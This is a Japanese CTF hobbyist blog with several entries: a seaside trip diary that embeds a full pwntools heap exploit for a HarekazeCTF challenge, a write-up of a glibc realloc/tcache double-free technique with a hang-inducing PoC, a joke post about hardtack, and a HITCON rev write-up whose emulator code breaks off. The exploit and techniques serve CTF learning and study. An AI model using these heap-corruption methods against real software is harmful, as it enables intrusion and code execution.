newbieからバイナリアンへ

【雑談 8.0】もう怒った!!!!わしかて海でこの一年を振り返りたいけぇのお!!!

Warning

This entry is not about pwn.

 

 

 

1: サンタ来なかったけど

もう怒った!!!!!!!!

今年、ずっと都内から出てない!!!!!!!

もっと言うと、大学があるエリアと髪切りに行くエリア以外行ってない!!!!!!!

おうち飽きた!!!!!!!

 

 

思い立ったら即行動。

30分後には電車の中にいました。

 

改札の前に来て気づいたけど、PASMOを忘れました。財布とイヤホンとケータイだけ持ってきました。数億年ぶりにきっぷを買いました。

 

そして電車に乗って思い出したけど、僕、地図読めない...。

地図が読めないどころか路線案内みたいなやつも読めません。アプリ使ってそのとおりに行こうと思っても、大体迷ってしまう。

しかし今日は一味違う。予めTSG slackで海に行くと宣言してから行くことで、詳しい人に道案内してもらうことができる!!!

実際行く場所も乗る電車も教えてもらいました。

 

 

乗るホームを間違えたのが2回と、ホームはあってたけど方向を間違えたのを1回と、完全に合ってたけど特急じゃなくて各駅に乗ってしまうのを2回やったくらいで、あとは割とスムーズに行きました。

しかし、魔の泉岳寺 で大分迷ってしまいました。というのも、この泉岳寺は電車を降りてホームに乗った瞬間、同じホームの反対側に別の列車がとまっていて、乗客はほぼ全員そっちに乗り換えるという現象が発生します。僕は恐らくこの電車ではないだろうと確信していましたが、でも東京人が皆こっちに乗るのでそっちに乗りました。案の定、列車は今来た道を反対に遡っていきました。流石に違うと思いもう一度逆方向に乗って泉岳寺に行くと、なんとまたホームに同じ列車がとまっていて全員そっちに乗り換えるという現象が!!! これを2,3回繰り返して1時間くらいでなんだかとても怖くなったので、一旦ベンチに座ってみると、人混みが収まったくらいで目的の路線への道案内が見えてきました。よかった〜〜〜。

 

 

 

 

なんやかんや横浜につきました!!海!!!海!!!!まりん!!!

f:id:smallkirby:20201227220256p:plain


いや〜〜〜〜〜〜〜〜〜〜、1年以上触れていなかった自然。故郷に帰ってきた気分。故郷は思いっきり山だからやっぱり嘘。

 

 

 

これはブルーアワーっぽい時間帯の写真。

f:id:smallkirby:20201227220621j:plain

 

 

 

 

 

コレは砂浜の写真。水平線を見たくて来たけど、湾だと見れないって初めて知ったので次に期待。

f:id:smallkirby:20201227220740j:plain

 

 

 

 

これは魔法世界に行きそうな電車の写真。

f:id:smallkirby:20201227220827j:plain

 

 

 

 

これは結構好きな木に囲まれた道。

f:id:smallkirby:20201227221022j:plain

 

 

これは昨日やってたHarekazeCTFのpwnのexploit。 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./safenote"
LIBCNAME = "./libc.so.6"

hosts = ("20.48.83.103","localhost","localhost")
ports = (20004,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

ents = [None for i in range(7)]

def hoge(ix):
  global c
  c.recvuntil("> ")
  c.sendline(str(ix))

def _alloc(ix, sz, data):
  global c, ents
  assert(ix<7 and sz<=0x70)
  hoge(1)
  c.recvuntil("Index: ")
  c.sendline(str(ix))
  c.recvuntil("Size: ")
  c.sendline(str(sz))
  c.recvuntil("Content: ")
  if len(data)<sz:
    data += b"\n"
  c.send(data)
  ents[ix] = data

def _show(ix):
  global c, ents
  assert(ix<7 and ents[ix]!=None)
  hoge(2)
  c.recvuntil("Index: ")
  c.sendline(str(ix))
  return c.recvline().rstrip()

def _copy(srcix, dstix):
  global c, ents
  assert(srcix<7 and dstix<7 and ents[srcix]!=None)
  hoge(4)
  c.recvuntil("Index (src): ")
  c.sendline(str(srcix))
  c.recvuntil("Index (dest): ")
  c.sendline(str(dstix))
  assert("No enough" not in c.recvline())
  ents[dstix] = ents[srcix]

def _move(srcix, dstix, fq=False):
  global c, ents
  assert(srcix<7 and dstix<7 and ents[srcix]!=None)
  hoge(3)
  c.recvuntil("Index (src): ")
  c.sendline(str(srcix))
  c.recvuntil("Index (dest): ")
  c.sendline(str(dstix))
  if fq:
    return
  assert("No enough" not in c.recvline())
  tmp = ents[srcix]
  ents[srcix] = None
  ents[dstix] = tmp

def check():
  print(ents)

## exploit ###########################################

def decr(Pd):
  L = Pd >> 36
  for i in range(3):
    temp = (Pd >> (36-(i+1)*8)) & 0xff
    element = ((L>>4) ^ temp) & 0xff
    L = (L<<8) + element
  return L

def enc(chunk_itself_addr, target_addr):
  return (chunk_itself_addr>>12) ^ target_addr

def exploit():
  global c

  _alloc(0, 0x50, "A"*0x40) # なんとなく
  _alloc(1, 0x50, "B"*0x40) # 色々操作
  _alloc(2, 0x50, "D"*0x40) # victim
  _alloc(3, 0x50, "C"*0x40) # ずっとtcacheに繋げとく用
  _move(3, 4)
  check()
  _move(1, 1) # UAF#1
  lk = unpack(_show(1).ljust(8,'\x00'))
  heapbase = decr(lk) << 12
  print("[!] leak: "+hex(lk))
  print("[+] decrypted L: "+hex(decr(lk)))
  print("[+] heapbase: "+hex(heapbase))

  # unsortedの生成

  ## ファンデーション
  _alloc(6, 0x10, "E"*0x8)
  _alloc(6, 0x70, "G"*0x60) # あとでleakする用
  for i in range(0x9):
    if i == 4:
      _alloc(3, 0x20, p64(0x21)*(0x20/0x8-1))
      _alloc(3, 0x40, p64(0x21)*(0x40/0x8-1))
    _alloc(4, 0x70, p64(0x21)*(0x70/0x8-1))

  ## 本ちゃん
  _alloc(1, 0x50, "B"*0x40)
  _alloc(5, 0x48, p64(enc(heapbase+0x2f0, heapbase+0x2f0+0x60)) + p64(0)) # copy用
  _move(1,1)  # UAF [0x60] -> #1 -> #2
  _copy(5, 1) # fd書き換え
  _alloc(1, 0x50, "X"*0x30)
  pay = b""
  pay += p64(0) + p64(0x421)
  _alloc(1, 0x50, pay) # overlapped chunkの生成 [0x60] -> #2
  _move(2, 0) # fake chunk(0x421)をfree. unsorted 生成

  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x60, "X")
  _alloc(5, 0x70, "X") # ここでfdが#3と重なる 残りサイズxx
  _alloc(5, 0x70, "X") # smallbinへ

  lk = unpack(_show(3).ljust(8,'\x00'))
  libcbase = lk -  0x1e3c20
  freehook = libcbase + libc.symbols["__free_hook"]
  _system = libcbase + libc.symbols["system"]
  print("[!] leaked: "+hex(lk))
  print("[!] libcbase: "+hex(libcbase))


  # overwrite freehook
  _alloc(3, 0x40, "A")
  _alloc(4, 0x40, "A")
  pay = b""
  pay += p64(enc(heapbase+0xaf0, freehook))
  assert(len(pay)<=0x40)
  _alloc(5, 0x40, pay) # copy用
  _move(4, 3)
  _move(3, 3)
  _copy(5, 3) # overwrite [0x50] -> #3 -> free_hook
  _alloc(1, 0x40, "/bin/sh\x00")
  _alloc(2, 0x40, p64(_system)) # @freehook
  
  # NIRUGIRI
  _move(1, 3, fq=True) 

## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

 

 

まぁ海にいたのは実質15分くらいでした。電車の時間が異常に長い。

よく考えたら朝から何も飲まず喰わずだったので、最後に少しお水を飲んでから帰りました。

f:id:smallkirby:20201227221357j:plain

 

 

 

 

 

ここ一年は、本当におうちに引きこもって、土日でも平日でも全く関係なくパソコンをカタカタやっていたので、一年に一回くらいこういう息抜きも悪くないかなぁと思いました。

 

 

 

 

 

 

2: 参考

1: ニルギリ

https://www.youtube.com/watch?v=yvUvamhYPHw

2: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

3: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

4: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

5: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

6: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

7: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

8: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

9: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

10: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

11: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

12: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

13: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

14: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

15: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

16: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

17: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

18: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

19: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

20: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

21: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

22: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

23: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

24: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

25: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

26: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

27: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

28: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

29: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

 

 

 

 

続く...

 

 

【pwn 41.0】realloc-baseのmemory corruptionの古い小ネタと最近のtcache周りの小話

keywords

heap / tcache / realloc / double free / size confusion / 小ネタ

 

 

 

1: イントロ

最近、CTFを完全に辞めて、競プロをやることにしました。前から競プロできるひとかっこいいなぁと思っていたのですが、直接の動機はこの前のHITCONの問題でした。ここでダイクストラを使ったカーネルモジュールが出題されたのですが、アルゴリズム全然知らんマンなのでやる気がなくなってコードが読めませんでした。もともと数学は誇張抜きに小学3年生くらいしかできない(小学校は大部分行ってなかったので実質幼稚園並にしかできない)ので、それを克服するためにも頑張りたいです。

さてさて、ということで、今回は realloc を使った tcache double-freeに関する小さいお話を少し。 かなり古いネタ ですが備忘録的に書き残しておきます。

また、最近 glibc にちょっとしたパッチを送ったのを契機にglibcのメーリスを読むようになったので、そこで議論になっていたtcacheの小ネタを書きます。

(今までブログは丹精込めてHTMLをベタ書きしていたのですが、流石にめんどくさくなったので今回からブログのCSS似合うようなMD->HTMLコンバータを作ってMDで書いています。)

(ブログのCSSを調節しました。どこが違うか探してみてください。あと、今まで横幅が狭すぎたので、大きいディスプレイで見ると横幅が大きくなるようにしました。ならない場合は拡大率を90%くらいにしてみると多分なります。)

(昨日ptr-yudai disaster-level-Turing-proのブログを読んで、意外とfuzzerってシンプルなんだなぁと思ったので近い内に競プロ内で実践してみようと思います。(もっと事前にごついfuzzerを書いておいて、本番では問題に合わせてちょっとチューニングする感じかと思っていた)。) 

ptr-yudai.hatenablog.com

 

2: 概要

小学校で既に教わっていると思いますが、 glibc 2.29 以降では tcacehkey というメンバが加わっています。

malloc() する際にはここに tcache ( tcache_per_thread 構造体の方) の値が書き込まれ、 free() 時にこのアドレスに tcache のアドレスが入っていればmemory corruptionとしてエラーにするというやつですね。というわけで最近のglibcにおいては単純に二回続けて free() することでdouble-freeを起こすということはできなくなっています。

f:id:smallkirby:20201215035702p:plain

double-free detection

 

但し、 realloc() の場合には条件が揃うと簡単にtcacheを用いてmemory corruptionを引き起こすことができます。具体的には、以下の2つのことができます。

1. 複数のchunkを異なるサイズのtcacheに繋ぐことができる。( size-confusion )

2. 1を用いて隣接するchunkをoverwriteできる。 ( memory corruption )

 

3: realloc復習

そもそもに realloc がどういう挙動をするのか少し復習してみましょう。reallocの処理は、 __libc_realloc()_int_realloc() に大別されます。malloc/freeと異なり、 __libc_realloc() の方でも割とガッツリ処理が行われます。

__libc_realloc() においては、まず __realloc_hook を確認します。最初の段階ではここには realloc_hook_ini() のアドレスが入っており、内部でtcacheの初期化及びフックの初期化を行います。(因みに、ここでは __realloc_hook だけでなく __malloc_hook もクリアされます)。

そのあとで、要求された size が0である場合には __libc_free() を呼びます。普通にfree()を呼んだ時と挙動の違いは全くありません。また、渡されたポインタがNULLであった場合には __libc_malloc() を呼びます。これも、通常通りmallocを呼ぶのとdiffは全くありません。マルチスレッドである場合には、このあと同一関数内で全ての処理を行ってしまいます。シングルスレッドの場合には _int_realloc() に進みます。

_int_realloc() では要求されたサイズと現在のchunkのサイズに応じて処理が分岐します。

現在のサイズよりも要求サイズが大きい場合には、まず top から不足分を切り出そうと試みます。 top に隣接している場合には top を下げるだけで終わりです。また、隣接chunkと合併できるなら合併します。それもできない場合には、新たに _int_malloc() を読んで内容を memcpy() した後古い方のchunkを _int_free() します。合併を行った場合に要求サイズよりも大きくなってしまった場合は、残りのchunkにヘッダをつけて _int_free() を呼び出します。尚、残りのchunkのサイズが MINSIZE を下回る場合には新たなchunkにできないため諦めてヘッダだけつけて終わります。(つまり、どのbinにも繋がれず、topにも含まれていない完全に浮いたchunkができあがります、合ってるよね??)。

要求サイズが以前のchunkよりも小さい(若しくは等しい)場合には、単純にヘッダを書き換えた後、残りのchunkを上と同様にして再利用を試みます。

細かい分岐はありますが、概ねreallocの処理はこんな感じです。

 

4: どうやるか

本題(といっても小さい話だけど)。

ここでは、任意サイズのchunkを realloc() できるような状況を考えてみましょう。加えて free() もできるがフリーの後は保持しているポインタがクリアされて参照できなくなってしまうとします。(edit機能はなくてもいいです。あったら楽になります。というか、この方法をわざわざ使うまでもなくtcache-poisoningして終わりです。)

このような状況のときには、 realloc(ptr, 0) とすることでポインタをクリアすることなく free() ができるというのはすぐに思いつくと思います。UAFができあがるため、double-freeもできますが、した瞬間に最初に述べた key による検知で死んでしまいます。

さて、最初に「 free() 時に key にtcacheのアドレスが入っていると死ぬ」と言いましたがあれは嘘です。実際には key にtcacheのアドレスが入っていることを検知するとtcacheのlinked-listの全探索が始まります。この中に現在freeしようとしているchunkが既に入っていた場合に限ってabortされることになります。重要なこととして、この key による double-free検知の全探索は同一サイズのchunkにしか行われません 。そのため、 一度freeしたchunkを別のサイズとしてfreeした場合には全探索の結果として正常と判断されエラーが発生しません

実際の操作の例としては、最初に0x80のchunkを realloc() した後 realloc(0) をすることでポインタを保持したまま free をします(UAF)。これによってchunkは0x90のtcacheに繋がれます。このあと、同一chunkに対して realloc(0x20) をします。すると、上述した処理によってchunkは0x30サイズのものと0x60サイズのものに分割されます。この際、保持しているポインタが指すchunkの方のヘッダは0x90から0x30に書き換えられます。この後で realloc(0) 若しくは free() を行うと、保持していたchunkが0x30のtcacheに繋がれます。このときには key の値に0x90としてfreeした時に書き込まれた値が残っているためtcacheの全探索が始まりますが、このchunkは0x90のtcacheには繋がれているものの0x30には繋がれていないためエラーは発生しません。これで、同一のchunkが0x90と0x30の両方のtcacheに繋がれたことになります。

しかも、実際のメモリのレイアウト的にはこのchunkは0x30のchunkです。このあとで0x90サイズのchunkをとると、 0x30サイズのchunkを0x90として取ったことになり 、alloc時の書き込み機能が有るならばコレによって隣接するchunkに対して0x60分だけoverwriteすることができるようになります。

 

以上!!!

 

 

5: tcacheのfree時のinfinite-loop

小話。せっかくtcacheのfreeにおける全探索の話が出たので。

もともとtcacheはユーザランドにおける小さなメモリ領域の利用を高速化するためにglibc2.27で実装されたもので、速さのためにセキュリティチェックを甘くしてあります。これによって一昔前のCTFではtcacheにUAFさえあればもう終わりみたいな強力なものになっていました。最近では、上述したdouble-freeチェックや、glibc2.32から実装されるlinked-list encryption( safe unlinking )によりちょっとずつexploitの難易度が増してきています。

上の全探索はその経緯で実装されたものであり、一見すると同一サイズのリストだけでなく全サイズを探索してしまえば良いように思えますが、tcacheが実装された目的である速度のオーバーヘッドのために同一サイズだけをチェックしているという経緯があります。

さて、この全探索ですが、 探索の終わりの基準が「次のchunkへのポインタ(fd)がNULLである」ということしかありません

f:id:smallkirby:20201215103234p:plain

tcache全探索のループ実装

これが何を意味するかと言うと、仮に tcacheのlinked-list内にcyclic linked-listが出来上がっていた場合、探索が終わることがなくinfinite-loopに陥ってしまいます

このようなendless-loopを引き起こすようなPoCは以下のとおりです。(ver 2.32用にポインタをencryptしています.)

infinite-loop.c
#include<stdio.h>
#include<stdlib.h>

unsigned long protect_ptr(unsigned long pos, unsigned long ptr){
  return (pos>>12) ^ (ptr);
}

int main(void)
{
  char *a,*b,*c;
  a = malloc(0x50);
  b = malloc(0x50);
  c = malloc(0x50);
  free(a);
  free(b);

  *(unsigned long*)(b) = (unsigned long*)protect_ptr(b, b);
  ((unsigned long*)c)[1] = ((unsigned long*)a)[1];
  free(c);

  return 0;
}

これを実行すると最後のfreeにおいてtcacheの全探索が走り、永遠に同じchunkを回り続けるためプログラムがハングします。

f:id:smallkirby:20201215042614p:plain

終わらない旅

tcacheは管理構造体( tcache_per_thread )において現在保持しているtcacheの個数をカウントしていますが、 これはtcacheからchunkを取れるかどうかと、tcacheにchunkをputできるかどうかという判定にしか使われていない ため、chunkの最大保持数(7)を超えてもループは回り続けます。

 

考えてみれば当たり前のことではあります。しかし、僕がある日競プロの問題を解いていて後少しでシェルが取れるという時にこのハングが起こりました。すぐにはこのループが原因であることが思いつかずに、他の原因を探して30分ほど無駄にしてしまいました。これはあってはならないことです。

というわけで、全探索のループに上限を定めるようにglibcにパッチを送りました。そもそもにこのようなことが起きるのは既にmemory corruptionが発生した後であり、影響としてもプログラムが止まるだけなので大した影響はありません。しかし、30分を浪費したことが許せなかったため、DoS attackに繋がり得るという理由をでっちあげてBugzillaにファイリングし、MLという面倒くさい手続きを踏んで修正しました。(たかだか数行のパッチがなんでこんなにめんどいねん)

 

というわけで、修正後の現在のmasterにおいてはループ実装は以下のように上限がかかっています。

f:id:smallkirby:20201215103848p:plain

現在のmaster(tcache2の"2"って何か分からんかったからつけなかったわ)

先程のプログラムを実行すると以下のようになります。

f:id:smallkirby:20201215042353p:plain

free(): too many chunks detected in tcache

なんと分かりやすいエラーメッセージ!!!

これで次から競プロ中に思わぬmemory corruptionでループが発生して時間を費やす時間がなくなったね!

 

 

 

6: tcacheの更なる強化

そんなこんなでglibcのMLに目を通すことが日課になったのですが、そのなかで以下のようなtcacheの強化がリクエストされていました。

https://sourceware.org/pipermail/libc-alpha/2020-December/120653.html

 

以下引用です。

Hmm... OK, I think I get it. It's not the 'e' we know, its the 'e' from

the previous call to tcache_get().

So basically, when we remove a chunk from the tcache, we want to

validate the pointer we're leaving behind?

patch.patch
 static __always_inline void *
 tcache_get (size_t tc_idx)
 {
   tcache_entry *e = tcache->entries[tc_idx];
   if (__glibc_unlikely (!aligned_OK (e)))
     malloc_printerr ("malloc(): unaligned tcache chunk detected");
   tcache->entries[tc_idx] = REVEAL_PTR (e->next);
+  /* Validate the pointer we're leaving behind, while we still know
+     where it came from, in case a use-after-free corrupted it.  */
+  if (tcache->entries[tc_idx])
+    * (volatile char **) tcache->entries[tc_idx];
   --(tcache->counts[tc_idx]);
   e->key = NULL;
   return (void *) e;
 }

 

代入するわけでもなく、変更するわけでもなく、ただtcacheにアクセスするだけの行が tcache_get() に追加されています。端的に言うと、このパッチが当てられると tcacheからchunkを取る時に、取る対象のtcacheだけでなく、その次のtcacheのアドレスもvalidなものでなくてはならない ようになります。

これが迷惑になる例としては、例えば leak-less な状況で tcache-poisoning によって stdout を書き換えたいというようなときに、 stdout 直上にchunkを取った後のlinked-listには stodut.flag の値が入ります。この時使ったchunkと同じサイズのchunkをどうしても使いたいという場合には同一サイズのchunkをfreeして繋いだ後もう一回allocすることになると思いますが、このとき取得するchunkの次のchunk(つまり取得するchunkのfd)は stdout->flag の値( 0xFBAD2084 とか)であり大抵のプロセスの場合不正なアドレスであるため、死ぬことになってしまいます。

 

 

まぁ、これ自体は大した変更ではないし害になるようなものではないですね。けど、tcacheが速さ目的で実装されたもののはずなのに、どんどんセキュリティ機構をもりもりにしていっています。だったらtcache辞めちゃえばいいのにね。嘘です。ごめんね。

 

 

7: アウトロ

というわけで、realloc-baseのsize-confusionの話と、tcache周りの小話でした。

tcacheに限らず、どんどんheap周りのexploitは難しくなっています。

だから僕は、pwnを、辞めた。 (ヨルシカ風)

 

8: 参考

1: ニルギリ

https://www.youtube.com/watch?v=yvUvamhYPHw

2: 勘ぐれい

https://www.youtube.com/watch?v=ugpywe34_30

3: ほのぼの

https://blog.hideo54.com/archives/1020

 

 

 

 

続く...

 

 

【雑談 7.0】乾パンの美味しい食べ方について

Warning

This entry is not about pwn.

 

 

このエントリは TSG Advent Calendar 2020 の3日目の記事です。

きのうはもらさんの TSG LIVE CTF writeup + 雑記 - 欣快の至り でした。

 

 

 

 

 

 

TSGに入って一番驚いたこと。

皆の主食が乾パンであるということである。

 

 

 

それだけではない、乾パンは常に携帯していることが入部の条件だったのだ。

 

f:id:smallkirby:20201202225631j:plain

素朴な佇まい

 

 

 

乾パンは、食するものである。

乾パンは、愛でるものである。

乾パンは、伴侶であり良き友である。

乾パンは、其れ自体として、乾パンである。

 

入部して最初の分科会でこう教えられた。

 

f:id:smallkirby:20201202225708j:plain

本当に美味しい乾パンは、ApplePencilに合う

 

 

 

 

 

" 乾パン is everywhere..."

 4年生の先輩が卒業するときに残していったこの言葉はいつまでも忘れられない。

 

 

今でも一番の座右の銘である。

(2番目と3番目は欠番で、4番目は肉食いてえ)

 

f:id:smallkirby:20201202225802j:plain

忘れかけた日本の心を思い出させてくれる

 

 

 

 

 

 

 

乾パンはただ空腹を満たすだけでなく、実用上も役に立つ。

 

例えばpwnでどうしてもlibcbaseがleakできなかったときなどは、代わりに乾パンをleakすればいい。書き換えるのだって、乾パンで十分である。

 

キーボードも今ではEnterキーとAltキーを除いて全て乾パンで代用している。Bluetooth機能のある乾パンを使用しているから、かなり使い心地が良い。

乾パン2.0と乾パン3.0の後方互換性がないのだけが玉に瑕だが、そこはご愛嬌、食べれば皆同じである。

 

f:id:smallkirby:20201202225846j:plain

これにはコラショもびっこらしょ

 

 

 

 

 

 

 

嘗て、セネカは著作「生の短さについて」でこう言った。

要するに、なにかに忙殺される人間には何事も立派に遂行できないという事実は、誰しも認めるところなのである。雄弁しかり、自由人にふさわしい諸学芸もまた然り。諸々の事柄に関心を奪われて散漫になった精神は、何事も心の深くには受け入れられず、いわばむりやり口に押し込まれた食べ物のように吐き戻してしまうからである。

 

 

これは、次のように解釈することもできる。

乾パンは絶対である。美味しくて吐き戻す心配がないからである。

 

 乾パンこそ、乾パンだ。

f:id:smallkirby:20201202225927j:plain

黒ラベル、白くね?


 

 

 

 

 

 

 

 ナポレオンは「全て学んだことを忘れてしまったとして、それでも覚えているものが『教育』だ」と言った。

 

 

 

同感だ。少しニュアンスを変えてこの言葉を借りるならば、「全ての食べ物がなくなったとして、それでも、えーと。あー、あの、うーん。『乾パン』だ」

 

f:id:smallkirby:20201202230244j:plain

金平糖が東京の夜に華やかさを加える

 

 

 

 

 

 

 

 

 

 

 

自分ももうB3。あと1年で学部卒業になる。

どんな道を進むことになっても、乾パンに胸を晴れるような生き方をしていきたいと思う。

 

 

 

 

 

 

最後に、TSGの先輩から受け継いだこの言葉で締めよう。

 

 

 

 

 

 

 

 

乾パン is every where...

 

f:id:smallkirby:20201202230537j:plain

乾パン is everywhere...

 

 

 

 

 

 

 

 

 

次の TSG Advent Calendar 2020 は hideo54 さんの「なんか書く 絶対書く」です。お楽しみに...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

【rev 7.0】SOP - HITCON CTF 2020

keywords

syscall oriented programming / hitcon / rev / seccomp

 

 

1: イントロ

最近CTFを辞めたので、いつぞや開催された HITCON CTF 2020rev問である SOP を解いていく。rev問、やっぱ、むずい。けど、ほえ〜となる良い問題でした。

 

2: 問題概要

バイトコードとそのインタプリタ本体が与えられる。本体の方はバイトコードを8byteずつ読み取り、そのオペコードに応じて RDI/RSI/RDX/R10/R8/R9 及び RAX に値を格納し、syscall を呼び出す。ひたすらこれを繰り返すプログラムである。

pythonで実装したエミュレータは以下の通り。

emulator.py
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

# this file is some thing like:
# 0       read
# 1       write
# 2       open
# 3       close
with open('syscalls.txt', 'r') as f: 
  lines = f.readlines()
syscalls = []
for l in lines:
  syscalls.append(l.split("\t")[1])

def ex(inst, n):
  a = "0b0"
  for i in range(n):
    a  = a+"1"
  return inst & int(a, 2)

# read byte_code
with open('sop_bytecode', 'rb') as f:
  bytecode = f.read()

ip = 0                      # pc in interpreter
rax = 0                     # rax
regs = [0, 0, 0, 0, 0, 0]   # rdi, rsi, rdx, r10, r8, r9
access_prctl = []           # for debug
inst_ex = []                # for debug
prctl_arg = []              # for debug
prctl_names = {0x28: "GET_TID_ADDR", 0x26: "SET_NO_NEW_PRIVS", 0x16: "PR_SET_SECCOMP", 0xf: "PR_SETNAME", 0x10: "PR_GET_NAME"}

set_tid = 0                 # previously set clear_child_tid
#workspace = 0x60            # workspace on stack, used in sig_action handler
workspace = 0x50            # workspace on stack, used in sig_action handler
original_workspace = workspace

# represents memory, both on stack and .bss region
class mem:
  def __init__(self):
    self.mem = {}
    self.initmem(self.mem, 0x217000, 0x100) # .bss
    self.initmem(self.mem, 0, 0x8*100)      # stack

  def initmem(self, mem, start, size):
    for i in range(size):
      mem[start + i] = 0

  def show(self):
    for addr, value in self.mem.items():
      if addr%8 == 0:
        print("\n{}\t".format(hex(addr)[2:].rjust(8,'0')), end=" ")
      print(hex(value)[2:].rjust(2,'0'), end=" ")
    print("")

  def getmem(self, addr, size=8):
    val = 0
    for i in range(size):
      val += self.mem[addr+i] << (8*i)
    return val

  def setmem(self, addr, value, size=8):
    for i in range(size):
      self.mem[addr+i] = (value>>(0x8*i)) & 0xFF

  def setstr(self, addr, yourstr):
    for i in range(len(yourstr)):
      self.mem[addr+i] = ord(yourstr[i])

m = mem()


flag = "A"*0x20
#flag = "hitcon{SysCallOP57289ca4ce57585}"

# print regs
def pregs():
  global regs
  if syscalls[rax] not in inst_ex:
    inst_ex.append(syscalls[rax])

  if syscalls[rax] != "prctl":
    print("{} {}({})".format(hex(ip//8)[2:].rjust(3,'0'), syscalls[rax].rjust(17,' '), hex(rax)), end=" ")
  else:
    print("{} {}[{}]".format(hex(ip//8)[2:].rjust(3,'0'), syscalls[rax].rjust(17,' '), prctl_names[regs[0]]), end=" ")
  for reg in regs:
    print(hex(reg), end=" ")
  print("")

comm = [0, 0]         # current->comm(char[0x10])


######## start of emulation ######################

while True:
  # handle ########################
  def handle():
    global rax
    global regs
    global set_tid
    global comm
    global mem
    global workspace

    if syscalls[rax] == "set_tid_address":
      set_tid = regs[0]
      
    if syscalls[rax] == "prctl":
      if regs[0] == 0x28:   # gettid
        if set_tid != 0:
          m.setmem(regs[1], set_tid)
          access_prctl.append(regs[1])
      elif regs[0] == 0xf: # setname
        comm = [m.getmem(regs[1]), m.getmem(regs[1] + 8)]
      elif regs[0] == 0x10: # getname
        m.setmem(regs[1], comm[0])
        m.setmem(regs[1] + 8, comm[1])

    if syscalls[rax] == "getgid":
      res = regs[0] & regs[1]
      res &= 0xFFFF
      m.setmem(workspace, res, 2)
      workspace += 2

    if syscalls[rax] == "getuid":
      res = regs[1] >> regs[0]
      res &= 0xFFFF
      m.setmem(workspace, res, 2)
      workspace += 2

    if syscalls[rax] == "getpid":
      res = regs[1] + regs[0]
      res &= 0xFFFF
      m.setmem(workspace, res, 2)
      workspace += 2

    if syscalls[rax] == "getegid":
      res = regs[1] - regs[0]
      res &= 0xFFFF
      m.setmem(workspace, res, 2)
      workspace += 2

    if syscalls[rax] == "getpgrp":
      res = regs[1] * regs[0]
      res &= 0xFFFF
      m.setmem(workspace, res, 2)
      workspace += 2

    if syscalls[rax] == "getppid":
      res = regs[1]
      if regs[0] > 0x32:
        res = 0
      else:
        for i in range(regs[0]):
          res <<= 1
          res &= 0xFFFF
      m.setmem(workspace, res, 2)
      workspace += 2

    if syscalls[rax] == "geteuid":
      res = regs[1] ^ regs[0]
      res &= 0xFFFF
      m.setmem(workspace, res, 2)
      workspace += 2

    if syscalls[rax] == "read":
      assert(regs[0] == 0) # stdin
      assert(len(flag)==0x20)
      print("entering your input (maybe flag??) size 0x20\n")
      m.setstr(regs[1], flag)

    if syscalls[rax] == "rt_sigaction":
      print("rt_sigaction is called now")
      #m.show()

  # end handle ########################

  inst = u64(bytecode[ip: ip+8])
  if inst == 0:
    break
  #for i in range(len(regs)):
  #  regs[i] = 0

  rax = ex(inst, 8)
  inst = inst>>0x8

  for i in range(6):
    addr = 0
    opc =  ex(inst, 2)
    inst = inst >> 2

    if(opc == 0):
      addr = ex(inst, 4)
      inst = inst >> 4
      regs[i] = m.getmem(addr * 8)
    elif(opc == 1):
      offset = ex(inst, 4)
      inst = inst >> 4
